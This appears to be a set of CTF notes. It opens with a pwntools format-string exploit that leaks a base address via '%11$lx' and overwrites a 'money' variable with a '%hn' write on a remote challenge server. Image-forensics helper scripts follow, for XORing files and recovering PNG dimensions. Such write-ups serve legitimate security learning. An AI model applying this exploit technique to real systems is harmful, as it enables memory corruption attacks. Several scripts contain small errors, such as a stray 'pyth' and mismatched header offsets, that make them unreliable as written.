Not mine :D

Info at the end of CTF

Format exploit with %hn

from pwn import *
import time

context.log_level = 'debug'
context.terminal = ["screen", "-dmS", "gdb"]
context.timeout = 1

r = remote("143.198.184.186", 5001)
r.clean()
r.sendline(b"1")
r.clean()
r.sendline(b"1")
r.clean()
r.sendline(b"1")
r.clean()
r.sendline(b"%11$lx")
r.recvline()
r.recvline()
leak = r.recvline()
leak = int(leak.strip().split(b"What")[0], 16)
base = leak - 0x188c
money = base + 0x401c
log.success(f"money = {hex(money)}")

r.clean()
r.sendline(b"1")
r.clean()
r.sendline(b"1")
r.clean()
r.sendline(b"1")
r.clean()
r.sendline(b"BBBBBB%153d%8$hn" + p64(money+2))
r.clean()
r.sendline(b"2")
r.clean()
r.sendline(b"2")
r.clean()

XOR 2 png files

import sys

# Read two files as byte arrays
file1_b = bytearray(open(sys.argv[1], 'rb').read())
file2_b = bytearray(open(sys.argv[2], 'rb').read())

# Set the length to be the smaller one
size = len(file1_b) if len(file1_b) < len(file2_b) else len(file2_b)
xord_byte_array = bytearray(size)

# XOR between the files
for i in range(size):
    xord_byte_array[i] = file1_b[i] ^ file2_b[i]

# Write the XORd bytes to the output file    
open(sys.argv[3], 'wb').write(xord_byte_array)

Discover images dimensions 1

import zlib
import struct
from math import sqrt, ceil

f = open("queen.png", "rb")

PngSignature = b"\x89PNG\r\n\x1a\n"
if f.read(len(PngSignature)) != PngSignature:
    raise Exception("Invalid PNG Signature")


def read_chunk(f):
    # Returns (chunk_type, chunk_data)
    chunk_length, chunk_type = struct.unpack(">I4s", f.read(8))
    chunk_data = f.read(chunk_length)
    (chunk_expected_crc,) = struct.unpack(">I", f.read(4))
    chunk_actual_crc = zlib.crc32(
        chunk_data, zlib.crc32(struct.pack(">4s", chunk_type))
    )
    if chunk_expected_crc != chunk_actual_crc:
        pass
    return chunk_type, chunk_data


chunks = []
bytesPerPixel = 4

while True:
    chunk_type, chunk_data = read_chunk(f)
    chunks.append((chunk_type, chunk_data))
    if chunk_type == b"IEND":
        break

_, IHDR_data = chunks[0]  # IHDR is always first chunk
width, height, bitd, colort, compm, filterm, interlacem = struct.unpack(
    ">IIBBBBB", IHDR_data
)
if compm != 0:
    raise Exception("invalid compression method")
if filterm != 0:
    raise Exception("invalid filter method")
if colort != 6:
    raise Exception("we only support truecolor with alpha")
if bitd != 8:
    raise Exception("we only support a bit depth of 8")
if interlacem != 0:
    raise Exception("we only support no interlacing")

IDAT_data = b"".join(
    chunk_data for chunk_type, chunk_data in chunks if chunk_type == b"IDAT"
)
IDAT_data = zlib.decompress(IDAT_data)
print(f"IDAT_data size(in bytes) = {len(IDAT_data)}\n")

"""
len(IDAT) = (width * height * bytesPerPixel) + height
len(IDAT) = height * (4 * width + 1)
"""


n = len(IDAT_data)
n_sqrt = ceil(sqrt(n))
for i in range(2, n_sqrt + 1):
    if n % i == 0:
        # Check if this can be width
        if (i - 1) % 4 == 0:
            print(f"Possible dimensions: {(i - 1) // 4} x {n // i}")

        # Check if (n // i) can be width
        if ((n // i) - 1) % 4 == 0:
            print(f"Possible dimensions: {((n // i) - 1) // 4} x {i}")pyth

Check dimension 2

import sys
from PIL import Image
from alive_progress import alive_bar,alive_it

if len(sys.argv) <= 1: 
    print('no file selected ::: file.py <img.png>'); exit()


print(""" 
    -------------------------------- INPUTS ---------------------------------
    On error inputs runs as default sizes | 100x50 max 2000 -Numbers WxHxMax-
    -------------------------------------------------------------------------
    """)

try:
    h=int(input('Min/Start Width - Default 100 $>'))
    w=int(input('Min/Start Weight - Default 50 $>'))
    maxs=int(input('Max Size to test - Default 2000 $>'))
except Exception as e:
    h=100
    w=50
    maxs=2000


filepath = sys.argv[1]
imgfile = open(filepath, "r+b")
for x in alive_it(range(h, maxs)):
    for y in range(w, maxs):
        xbytes = x.to_bytes(2, byteorder="big")
        imgfile.seek(18)
        imgfile.write(xbytes)

        ybytes = y.to_bytes(2, byteorder="big")
        imgfile.seek(22)
        imgfile.write(ybytes)
        
        try:
            img = Image.open(filepath, "r", ["PNG"])
            print(f"Found ({x}, {y-1})")
            img.save('output.png','PNG')
            img.show()
            sys.exit(0)
        except IOError:
            pass

Last updated